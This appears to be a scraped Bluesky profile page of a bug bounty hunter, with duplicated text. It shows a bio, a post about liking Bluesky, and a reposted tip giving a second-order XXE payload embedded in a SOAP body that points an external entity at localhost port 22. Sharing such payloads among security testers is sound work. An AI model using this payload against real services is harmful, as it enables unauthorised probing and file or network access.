Adrien Jeanneau
@hisxo.bsky.social
📍 @yeswehack (aka Hisxo) - I love to break things (and I'm paid for that) - Bug Hunter
🔗 Check my Github repository https://github.com/hisxo/
#BugBounty
🔗 Check my Github repository https://github.com/hisxo/
#BugBounty
The more I use Bluesky, the more I like it - it reminds me of the good old Twitter of the early days 🥹
August 10, 2023 at 2:59 PM
The more I use Bluesky, the more I like it - it reminds me of the good old Twitter of the early days 🥹
Reposted by Adrien Jeanneau
An oldie but a goodie: second order XXE via a SOAP element 💎
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://0x0:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://0x0:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
August 1, 2023 at 11:43 AM
An oldie but a goodie: second order XXE via a SOAP element 💎
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://0x0:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://0x0:22/"> %dtd;]><xxx/>]]></foo></soap:Body>